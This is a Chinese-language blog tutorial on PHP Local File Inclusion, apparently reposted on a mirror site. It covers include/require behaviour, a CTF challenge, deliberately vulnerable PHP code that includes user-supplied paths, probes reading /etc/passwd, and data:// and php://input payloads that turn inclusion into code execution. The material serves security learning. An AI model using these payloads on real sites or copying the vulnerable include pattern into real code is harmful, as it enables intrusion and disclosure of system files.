zoukankan      html  css  js  c++  java
  • PHP LFI(Local File Inclusion,本地文件包含)

    1 相关函数

    1.1 include 和 require 等四个函数

    函数名 作用
    include 若包含的文件不存在产生警告,程序继续运行
    include_once 如果一个文件已经被包含过,则不会在包含它
    require 若包含文件不存在产生致命错误,程序终止运行
    require_once 如果一个文件已经被包含过,则不会在包含它

    include 和 require 的区别在于文件找不到时产生 warning 还是 error,前者不影响继续执行,而后者则相反。

    1.2 include 和 include_once

    include_once 不会重复包含 (Downarrow)

    include("get_date.php");
    include_once("get_date.php");
    
    print_r("over, bye" . "<br>");
    

    image

    include/include_once 遇到文件不存在时继续执行 (Downarrow)

    // 要包含一个 get_date.php 文件,并不存在 get_date111.php
    include("get_date111.php");
    include_once("get_date.php");
    
    print_r("over, bye" . "<br>");
    

    image

    1.3 require 和 require_once

    require_once 也不会重复包含 (Downarrow)

    require("get_date.php");
    require_once("get_date.php");
    
    print_r("over, bye" . "<br>");
    

    image

    include/include_once 遇到文件不存在报错,停止执行剩余代码 (Downarrow)

    // 要包含一个 get_date.php 文件,并不存在 get_date111.php
    require("get_date111.php");
    require_once("get_date.php");
    
    print_r("over, bye" . "<br>");
    

    image

    2 LFI 利用

    2.1 常用的验证手段

    可以通过以下参数初步验证是否存在 LFI[1]

    ?page=../
    ?page=index.html
    ?page=/etc/passwd
    

    2.2 简单题-BUU LFI COURSE 1

    highlight_file(__FILE__);
    
    if(isset($_GET['file'])) {
        $str = $_GET['file'];
    
        include $_GET['file'];
    }
    

    尝试获取根目录下的 flag 文件,可以直接读到 flag

    node4.buuoj.cn:81/?file=/flag
    

    image

    再获取一下 passwd,也可以看到。
    image

    2.3 结合 data://[2] 伪协议

    data:// 伪协议结合 include 可以将文件包含变成命令执行

    data:// 封装数据流,以传递相应格式的数据,通常可以用来执行 PHP 代码。

    • allow_url_fopen:on
    • allow_url_include :on

    后台代码 (Downarrow)

    print_r(PHP_VERSION . "<br>");
    
    $file = $_GET["file"];
    
    include($file);
    

    参数:?file=data:text/plain,<?php%20phpinfo();

    返回结果 (Downarrow)
    image

    2.4 结合 php://input[3] 伪协议

    • enctype="multipart/form-data" 时无效
    • POST 请求
    • allow_url_include 选项必须为 on

    php://input 伪协议结合 file_get_contents 函数,可以读取 post 请求的原始数据。

    后台代码 (Downarrow)

    print_r(PHP_VERSION . "<br>");
    
    $file = $_GET["file"];
    
    $contents = file_get_contents($file);
    
    include($contents);
    

    URL 参数:?file=php://input

    利用 burp 添加 post 数据 (Downarrow)
    image

    返回结果 (Downarrow)
    image

    2.5 其他 php 伪协议[4][5]

    各协议的利用条件和方法[5:1]
    image


    1. https://zhuanlan.zhihu.com/p/50445145 ↩︎

    2. https://www.php.net/manual/zh/wrappers.data.php ↩︎

    3. https://www.php.net/manual/zh/wrappers.php.php ↩︎

    4. https://chybeta.github.io/2017/10/08/php文件包含漏洞/ ↩︎

    5. https://www.cnblogs.com/endust/p/11804767.html ↩︎ ↩︎

  • 相关阅读:
    第六章:单元测试框架unittest
    Jenkins 使用 war包安装时,如果出现报离线错误解决方法
    Appium自动化封装教案
    yaml文件读取(5.1之前与5.1之后对比)
    appium-desktop配置运用方法
    postwoman 配置
    jwt解析
    pytest
    centos安装python3.8
    linux 查找命令
  • 原文地址:https://www.cnblogs.com/ainsliaea/p/15139818.html
Copyright © 2011-2022 走看看